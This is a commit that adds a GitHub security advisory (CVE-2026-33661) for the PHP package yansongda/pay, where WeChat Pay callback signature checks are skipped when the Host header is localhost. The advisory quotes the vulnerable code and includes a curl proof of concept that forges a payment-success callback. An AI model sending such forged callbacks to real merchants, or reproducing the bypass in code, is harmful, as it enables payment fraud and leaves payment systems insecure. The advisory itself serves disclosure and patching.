Publish GHSA-q938-ghwv-8gvc

Author: advisory-database[bot]

advisories/github-reviewed/2026/03/GHSA-q938-ghwv-8gvc/GHSA-q938-ghwv-8gvc.json

@@ -0,0 +1,68 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-q938-ghwv-8gvc",
+  "modified": "2026-03-25T19:30:09Z",
+  "published": "2026-03-25T19:30:09Z",
+  "aliases": [
+    "CVE-2026-33661"
+  ],
+  "summary": "WeChat Pay callback signature verification bypassed when Host header is localhost",
+  "details": "## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n    // BYPASS: Returns without any signature check if Host header is localhost\n    if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {\n        return;  // No signature verified!\n    }\n\n    // ... openssl_verify() only reached when Host != localhost\n    $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');\n    $sign = $message->getHeaderLine('Wechatpay-Signature');\n    $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n  -H \"Host: localhost\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Wechatpay-Serial: any\" \\\n  -H \"Wechatpay-Timestamp: 1234567890\" \\\n  -H \"Wechatpay-Nonce: abc\" \\\n  -H \"Wechatpay-Signature: AAAA\" \\\n  -d '{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}'\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "Packagist",
+        "name": "yansongda/pay"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "3.7.20"
+            }
+          ]
+        }
+      ],
+      "database_specific": {
+        "last_known_affected_version_range": "<= 3.7.19"
+      }
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/yansongda/pay"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/yansongda/pay/releases/tag/v3.7.20"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-290"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2026-03-25T19:30:09Z",
+    "nvd_published_at": null
+  }
+}